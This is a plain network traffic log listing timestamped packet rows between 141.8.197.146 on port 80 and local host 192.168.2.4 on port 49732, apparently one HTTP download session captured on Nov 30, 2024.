Nov 30, 2024 05:00:17.057636976 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.057641983 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.057653904 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.057663918 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.057667971 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.057674885 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.057684898 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.057694912 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.057701111 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.057703972 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.057715893 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.057717085 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.057725906 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.057737112 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.057743073 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.057749033 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.057760954 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.057761908 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.057770967 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.057784081 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.057792902 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.057794094 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.057805061 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.057816982 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.057816982 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.057828903 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.057840109 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.057843924 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.057847977 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.057852983 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.057862997 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.057868004 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.057872057 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.057881117 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.057890892 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.057898998 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.057899952 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.057910919 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.057921886 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.057929993 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.057934999 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.057940960 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.057941914 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.057951927 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.057962894 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.057964087 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.057998896 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.063834906 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.063951015 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.064052105 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.064610958 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.064769983 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.065406084 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.068099022 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.068233967 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.068243980 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.068254948 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.068264008 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.068280935 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.068285942 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.068331957 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.068837881 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.068846941 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.068854094 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.068898916 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.068939924 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.116324902 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.154793978 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.157978058 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.193312883 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.193438053 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.193527937 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.193747997 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.193907976 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.194713116 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.194761992 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.195044994 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.195086956 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.195122004 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.196022034 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.196088076 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.196140051 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.197019100 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.197060108 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.197129011 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.197948933 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.198048115 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.198092937 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.198893070 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.198992968 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.199037075 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.199878931 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.199924946 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.200026989 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.200758934 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.200855970 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.200898886 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.201700926 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.201740980 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.201745987 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.202737093 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.202748060 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.202790022 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.203603983 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.203613997 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.203654051 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.204560041 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.204571009 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.204628944 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.205497980 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.205509901 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.205560923 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.206429958 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.206526041 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.206576109 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.207374096 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.207436085 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.207470894 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.208328962 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.208445072 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.208499908 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.209275961 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.209335089 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.209372997 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.210232973 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.210319996 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.210371971 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.211178064 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.211230993 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.211276054 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.212129116 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.212182045 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.212208986 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.213067055 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.213171005 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.213212967 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.214018106 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.214083910 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.214116096 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.214965105 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.215079069 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.215126038 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.215904951 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.215948105 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.216032028 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.216876984 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.216953993 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.217001915 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.217812061 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.217856884 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.217900991 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.218785048 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.218831062 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.218851089 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.219733000 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.219822884 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.219868898 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.220662117 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.220711946 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.220758915 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.221605062 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.221709967 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.221752882 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.222554922 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.222661972 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.222712994 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.223505974 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.223548889 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.223604918 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.224504948 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.224648952 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.224698067 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.225418091 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.225461960 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.225509882 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.226372957 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.226464033 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.226507902 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.227322102 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.227364063 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.227402925 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.228262901 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.228372097 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.228425026 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.229199886 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.229254961 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.229310989 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.230161905 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.230257988 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.230309010 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.231110096 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.231209040 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.231214046 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.232069969 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.232170105 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.232218027 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.232994080 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.233058929 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.233094931 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.233962059 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.234077930 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.234121084 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.234900951 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.234968901 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.234998941 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.235857964 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.235964060 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.236016989 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.236783028 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.236835957 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.266613960 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.266760111 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.266817093 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.267045021 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.267211914 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.268059015 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.268069029 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.268116951 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.268853903 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.269002914 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.269830942 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.269885063 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.270005941 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.270046949 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.270838976 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.270848989 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.270891905 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.271801949 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.271814108 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.271857023 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.394706964 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.394788027 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.394834042 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.395148039 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.395256042 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.395304918 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.396131039 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.396234035 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.396281958 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.397058010 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.397171021 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.397219896 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.397998095 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.398117065 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.398181915 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.398950100 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.399064064 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.399122953 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.399902105 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.400018930 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.400068045 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.400863886 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.400998116 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.401046038 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.401825905 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.401957989 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.402002096 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.402730942 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.402834892 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.402878046 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.403701067 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.403822899 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.403870106 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.404673100 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.404727936 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.404772043 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.405616045 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.405678034 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.405725002 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.406547070 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.406614065 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.406661987 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.407496929 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.407563925 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.407629967 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.408483028 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.408576965 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.408623934 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.409404993 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.409514904 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.409559011 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.410340071 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.410450935 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.410490990 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.411302090 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.411403894 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.411448956 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.412237883 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.412329912 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.412375927 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.413167953 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.413291931 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.413336039 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.414146900 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.414253950 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.414300919 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.415066957 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.415175915 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.415215015 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.416039944 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.416146040 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.416193962 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.416977882 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.417084932 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.417126894 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.417926073 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.418030977 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.418075085 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.418868065 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.418965101 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.419013977 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.419828892 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.419923067 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.419966936 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.420768976 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.420861959 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.420906067 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.421772003 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.421886921 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.421926022 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.422698021 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.422805071 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.422847033 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.423631907 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.423742056 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.423783064 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.424566031 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.424671888 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.424716949 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.425529957 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.425618887 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.425704002 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.426460981 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.426584959 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.426642895 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.427419901 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.427556992 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.427598953 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.428383112 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.428478956 CET	80	49732	141.8.197.146	192.168.2.4
